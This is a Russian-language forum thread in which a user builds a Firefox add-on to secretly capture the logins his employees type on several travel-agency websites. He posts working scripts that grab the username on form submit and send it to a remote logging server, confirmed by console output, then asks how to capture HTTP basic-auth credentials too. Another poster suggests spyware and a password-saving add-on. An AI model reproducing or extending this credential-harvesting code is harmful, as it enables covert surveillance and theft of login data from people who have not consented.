Страницы: 1
Думаю этот проектик станет чем-то вроде "Hello world!" для меня в создании расширений для FF.
Зачем? Нужно проверить некоторых сотрудников не работают ли они на лево, с левых учеток. Килогеры посмотрел готовые для ФФ, рабочий только один оказался, но он не помогает когда чел не вводит, а вставляет логин из буфера.
https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Getting_started
успешно выполнил.
Сейчас вижу задачу так:
1. Получаем адресную строку активной вкладки.
2. Если адрес нас интересует, искать соответствующее поле на странице (поле для ввода логина)
3. По изменению (или submit) сохранять данные на диске
YYYY-MM-DD H:i:s -- site_address -- entered_login
Вопросы:
1. Как получить адресную строку активной вкладки (onFocus) ?
2. Как найти поле на странице на вкладке (element.getByID()) ?
3. Писать данные в файл можно стандартными средствами JS ?
Отредактировано thunderamur (24-04-2014 10:52:36)
Отсутствует
1. Почитал инфу по вкладкам, получилось вот что:
var tabs = require("sdk/tabs"); function show(tab) { if (tab.url.indexOf("ya.ru") == -1) { console.log(tab.url + " is not ya.ru"); }else{ console.log(tab.url + " is ya.ru"); } } tabs.on('pageshow', show);
Это можно заюзать для определения на каком мы сайте и нужно ли логировать.
Отредактировано thunderamur (24-04-2014 11:00:46)
Отсутствует
Товарищи, как получить данные со страницу по определенному событию?
Пока не понял как это сделать...
Отсутствует
Первое о чем я подумал - это прокси (и она уже имеется), но как она мне поможет с https?
Поставим один браузер, другое ставить запретим.
Надо учитывать уровень пользователя. Конечно, можно и с флешки загрузится и работать через свою прокси по защищенному ВПН. Но, это не мой случай, у меня пользователи попроще.
Отсутствует
okkamas_knife
Я использую squid, пока не нашел как поймать логин. Ты, случаем не знаешь, кальмар это в принципе логирует?
Отсутствует
okkamas_knife
http://www.eu.squid-cache.org/mail-archive/squid-users/200602/0024.html
тут сообщается, что максимум, что мы можем получить, это тело GET-запросов. Не подоходит в моем случае.
Может лучше покажешь пример по сабжу, где можно посмотреть как работать со страницей на вкладке?
Отсутствует
В справочнике на MDN примеры для 29+
Странная политика. А как под текущие версии расширения то делать, ппц.
Отсутствует
Как залезть на страницу нашел...
Отсутствует
Разобрался. Сделал так, что данные улетают на удаленный сервер, где логируются.
Отредактировано thunderamur (28-04-2014 09:28:38)
Отсутствует
Странная штука, не везде работает.
var data = require("sdk/self").data; var pageMod = require("sdk/page-mod"); pageMod.PageMod({ include: "*.mouzenidis-travel.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("mouzenidis-travel.ru.js")] }); pageMod.PageMod({ include: "*.pegast.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("pegast.ru.js")] });
data/mouzenidis-travel.ru.js
$("form").submit(function(){ alert($("#UserName").val()); $.ajax({ type: "POST", url: "http://site.ru/writedata.php", data: { site :"mouzenidis-travel.ru", login :$("#UserName").val(), secret :"" } }) });
data/pegast.ru.js
$("form").submit(function(){ alert($("#username").val()); $.ajax({ type: "POST", url: "http://site.ru/writedata.php", data: { site :"pegast.ru", login :$("#username").val(), secret :"" } }) });
Отредактировано thunderamur (28-04-2014 10:00:41)
Отсутствует
thunderamur
Советую спросить у Infocatcher.
А я бы поставил шпионскую программу и не мучился бы. Потому что на месте того сотрудника я бы ходил налево через портабельный фокс, чтобы не оставлять следов в журнале и всё такое. Приватный режим — это не то, чем удобно пользоваться.
Отсутствует
Infocatcher молчит
Шпионская программа умеет собирать данные с нужных страниц? Да ещё и покупать надо.
А здесь свой теплый ламповый самопал. Это интереснее, потом есть мысли сделать штуку поприкольнее, но там уже мессенджер для платной CRM, родной месенджер которой ущербен.
Отсутствует
Два дня – это еще не молчит, это раз. У меня сейчас полно других дел, это два.
Если проблема исключительно в отправке данных (а сами данные получаются), то или какие-то проблемы с использованием в данном случае $.ajax() (к чему здесь вообще jQuery?), или дело в том, что скрипт выполняется на странице и выгружается вместе с ней до отправки данных.
Можно попробовать делать собственно отправку из другого места. Но я не пользуюсь Add-on SDK и ничего сказать не могу, разве что вот пример взаимодействия с родительским скриптом.
По самому сбору данных: сохранение паролей можно включить в Lazarus: Form Recovery.
Прошлое – это локомотив, который тянет за собой будущее. Бывает, что это прошлое вдобавок чужое. Ты едешь спиной вперед и видишь только то, что уже исчезло. А чтобы сойти с поезда, нужен билет. Ты держишь его в руках. Но кому ты его предъявишь?
Виктор Пелевин. Желтая стрела
Отсутствует
Infocatcher
Спасибо, что включился в беседу
Вот мне бы как раз узнать как работать не со страницы, а как бы в стороне, чтобы то, что есть на странице мне никак не могло помешать.
Добавлено 02-05-2014 20:13:39
Не оно?
https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/content_symbiont
Отредактировано thunderamur (02-05-2014 20:13:39)
Отсутствует
Вот мне бы как раз узнать как работать не со страницы, а как бы в стороне, чтобы то, что есть на странице мне никак не могло помешать.
Там нужно посылать сообщения из content-скрипта в main.js:
https://developer.mozilla.org/en-US/Add … using_port
Для отправки данных, видимо, пользоваться вот этим:
https://developer.mozilla.org/en-US/Add … Is/net_xhr
Но я, повторюсь, с Add-on SDK не работал, исходники там обильные и мудреные, так что ничего кроме чтения документации посоветовать не могу.
Если без SDK, то на основе этого можно отслеживать "submit" (вместо "TabClose" как там) от всего окна браузера. А дальше обычный XMLHttpRequest(). Но если все-таки взлетит Electrolysis, подобное перестанет работать.
Прошлое – это локомотив, который тянет за собой будущее. Бывает, что это прошлое вдобавок чужое. Ты едешь спиной вперед и видишь только то, что уже исчезло. А чтобы сойти с поезда, нужен билет. Ты держишь его в руках. Но кому ты его предъявишь?
Виктор Пелевин. Желтая стрела
Отсутствует
Infocatcher
Спасибо за инфу
Посмотрю все варианты. Все-таки склоняюсь к SDK, т.к. это наверное более основательный вариант (restartless и совместимость на будущее). Но ежели не осилю для этой задачи можно и сделать лишь бы сейчас работало.
Отсутствует
Сейчас имею вот что:
pageMod.PageMod({ include: "*.natalie-tours.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("natalie-tours.ru.js")], onAttach: function(worker) { worker.port.on('mylogin', function(msg) { console.log("============== 1 - " + msg); var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=", true); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4) { if(xmlhttp.status == 200) { console.log(xmlhttp.responseText); } } }; xmlhttp.send(null); console.log("============== 2 - " + msg); }); } });
Консоль:
console.log: my-addon: ============== 1 - 123 console.error: my-addon: Message: ReferenceError: XMLHttpRequest is not defined
Т.е. код отрабатывает до момента отправки и тут встает из-за того, что не знает что такое XMLHttpRequest.
Как же из браузера отправить данные на сервер?
Отредактировано thunderamur (08-05-2014 04:50:56)
Отсутствует
Крутяк, получилось!
var Request = require("sdk/request").Request; pageMod.PageMod({ include: "*.natalie-tours.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("natalie-tours.ru.js")], onAttach: function(worker) { worker.port.on('mylogin', function(msg) { console.log("============== 1 - " + msg); Request({ url: "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=", onComplete: function (response) { console.log("Data sent successfully!"); } }).get(); console.log("============== 2 - " + msg); }); } });
console.log: my-addon: ============== 1 - 32434 console.log: my-addon: ============== 2 - 32434 console.log: my-addon: Data sent successfully!
Теперь ещё один вопрос
Есть сайт с авторизацией через .htaccess, как мне получить логин с окна авторизации?
Отредактировано thunderamur (08-05-2014 05:30:31)
Отсутствует
Страницы: 1